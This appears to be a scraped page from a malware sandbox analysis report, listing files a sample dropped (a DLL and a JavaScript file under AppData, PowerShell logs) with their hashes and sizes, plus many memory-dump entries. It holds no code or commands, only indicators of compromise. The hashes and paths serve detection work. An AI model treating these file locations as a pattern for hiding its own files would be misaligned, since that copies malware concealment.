bd9abee2c63096d93591d933e923202c638d7790c60714d024f8d50b1e2995a4c5abf9e7124afa8f3c3ea5ce3cfdc7010683a56fd74ff3477b7f1bae93301988

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
Filesize
549KB

MD5
4b4540fd24eac43c02aab59e0be0b62f

SHA1
09ee211b8c2080c762a8a3d9ddea10d952add53e

SHA256
4221a2c8dae5bbb063c83f61b48a4911191ec818eaa4b0c6617d35f2138ca36a

SHA512
bd9abee2c63096d93591d933e923202c638d7790c60714d024f8d50b1e2995a4c5abf9e7124afa8f3c3ea5ce3cfdc7010683a56fd74ff3477b7f1bae93301988

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
Filesize
549KB

MD5
4b4540fd24eac43c02aab59e0be0b62f

SHA1
09ee211b8c2080c762a8a3d9ddea10d952add53e

SHA256
4221a2c8dae5bbb063c83f61b48a4911191ec818eaa4b0c6617d35f2138ca36a

SHA512
bd9abee2c63096d93591d933e923202c638d7790c60714d024f8d50b1e2995a4c5abf9e7124afa8f3c3ea5ce3cfdc7010683a56fd74ff3477b7f1bae93301988

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
Filesize
549KB

MD5
4b4540fd24eac43c02aab59e0be0b62f

SHA1
09ee211b8c2080c762a8a3d9ddea10d952add53e

SHA256
4221a2c8dae5bbb063c83f61b48a4911191ec818eaa4b0c6617d35f2138ca36a

SHA512
bd9abee2c63096d93591d933e923202c638d7790c60714d024f8d50b1e2995a4c5abf9e7124afa8f3c3ea5ce3cfdc7010683a56fd74ff3477b7f1bae93301988

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
Filesize
549KB

MD5
4b4540fd24eac43c02aab59e0be0b62f

SHA1
09ee211b8c2080c762a8a3d9ddea10d952add53e

SHA256
4221a2c8dae5bbb063c83f61b48a4911191ec818eaa4b0c6617d35f2138ca36a

SHA512
bd9abee2c63096d93591d933e923202c638d7790c60714d024f8d50b1e2995a4c5abf9e7124afa8f3c3ea5ce3cfdc7010683a56fd74ff3477b7f1bae93301988

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_jey.dll
Filesize
4KB

MD5
8b61089f3fa9d30435ad0f15be0523d4

SHA1
0ea0ec5f5be16ac592e5230c3a7e6e19ff0e394a

SHA256
418c6d0a311226bc2f42adf86620e1de895b0c4355d6cd8f2937197c55baf0b1

SHA512
3fae6d84ec5f3ec4e1d1c4f559bafae5ef12e287d05c7cf5fb9c7ec7389c64518c0345527ac5a1bbba89e3a53bb9d5e78a8cbe656c84ea04a72aecb1ee2bea0d

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js
Filesize
121KB

MD5
0ac3714b003f728b407761803fb23a9c

SHA1
77087387b5c660e2f11ecdfcf36b2e0c2c0853a1

SHA256
644e970435f028f21e987d97230bc1161b00705cb073cbfb6362d052be84724f

SHA512
c02f8c1ecd6b55e558c3762af6db50fe6c92141c3eea435872b41c885cd158109a4a9cf3bf426f427f9c5957c15b2e735691440213f87f04cfd1cfe9c1526c8a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
memory/32-136-0x0000000000000000-mapping.dmp

Download
memory/340-181-0x0000000000000000-mapping.dmp

Download
memory/532-189-0x0000000000000000-mapping.dmp

Download
memory/620-165-0x0000000000000000-mapping.dmp

Download
memory/952-166-0x0000000000000000-mapping.dmp

Download
memory/1112-169-0x0000000000000000-mapping.dmp

Download
memory/1288-183-0x0000000000000000-mapping.dmp

Download
memory/1364-177-0x0000000000000000-mapping.dmp

Download
memory/1392-159-0x0000000000000000-mapping.dmp

Download
memory/1392-161-0x0000000000770000-0x0000000000792000-memory.dmp

Filesize
136KB

Download
memory/1392-162-0x0000000000770000-0x0000000000792000-memory.dmp

Filesize
136KB

Download
memory/1480-134-0x0000000000000000-mapping.dmp

Download
memory/1600-180-0x0000000000000000-mapping.dmp

Download
memory/1656-163-0x0000000000000000-mapping.dmp

Download
memory/2320-132-0x0000000000000000-mapping.dmp

Download
memory/2752-179-0x0000000000000000-mapping.dmp

Download
memory/2804-148-0x0000000000000000-mapping.dmp

Download
memory/2804-158-0x0000000003690000-0x00000000036B2000-memory.dmp

Filesize
136KB

Download
memory/2804-157-0x0000000003610000-0x0000000003634000-memory.dmp

Filesize
144KB

Download
memory/2804-160-0x0000000003690000-0x00000000036B2000-memory.dmp

Filesize
136KB

Download
memory/2804-154-0x0000000000000000-mapping.dmp

Download
memory/2968-186-0x0000000000000000-mapping.dmp

Download
memory/3408-168-0x0000000000000000-mapping.dmp

Download
memory/3408-137-0x0000000000000000-mapping.dmp

Download
memory/3488-178-0x0000000000000000-mapping.dmp

Download
memory/3496-192-0x00007FFEA6180000-0x00007FFEA6C41000-memory.dmp

Filesize
10.8MB

Download
memory/3708-152-0x0000000000000000-mapping.dmp

Download
memory/3960-164-0x0000000000000000-mapping.dmp

Download
memory/3996-184-0x0000000000000000-mapping.dmp

Download
memory/4000-175-0x0000000000000000-mapping.dmp

Download
memory/4012-171-0x0000000000000000-mapping.dmp

Download
memory/4104-191-0x0000000000000000-mapping.dmp

Download
memory/4268-167-0x0000000000000000-mapping.dmp

Download
memory/4312-150-0x0000000001640000-0x0000000001662000-memory.dmp

Filesize
136KB

Download
memory/4312-149-0x0000000001640000-0x0000000001662000-memory.dmp

Filesize
136KB

Download
memory/4312-146-0x0000000000000000-mapping.dmp

Download
memory/4336-176-0x0000000000000000-mapping.dmp

Download
memory/4364-151-0x000001744F8F0000-0x000001744F912000-memory.dmp

Filesize
136KB

Download
memory/4364-156-0x00007FFEA4770000-0x00007FFEA5231000-memory.dmp

Filesize
10.8MB

Download
memory/4428-173-0x0000000000000000-mapping.dmp

Download
memory/4452-185-0x0000000000000000-mapping.dmp

Download
memory/4460-174-0x0000000000000000-mapping.dmp

Download
memory/4588-182-0x0000000000000000-mapping.dmp

Download
memory/4616-133-0x0000000000000000-mapping.dmp

Download
memory/4664-145-0x0000000004920000-0x0000000004942000-memory.dmp

Filesize
136KB

Download
memory/4664-144-0x00000000048D0000-0x00000000048F4000-memory.dmp

Filesize
144KB

Download
memory/4664-143-0x0000000000950000-0x00000000009D6000-memory.dmp

Filesize
536KB

Download
memory/4664-140-0x0000000000000000-mapping.dmp

Download
memory/4664-147-0x0000000004920000-0x0000000004942000-memory.dmp

Filesize
136KB

Download
memory/4732-138-0x0000000000000000-mapping.dmp

Download
memory/4888-170-0x0000000000000000-mapping.dmp

Download
memory/4944-172-0x0000000000000000-mapping.dmp

Download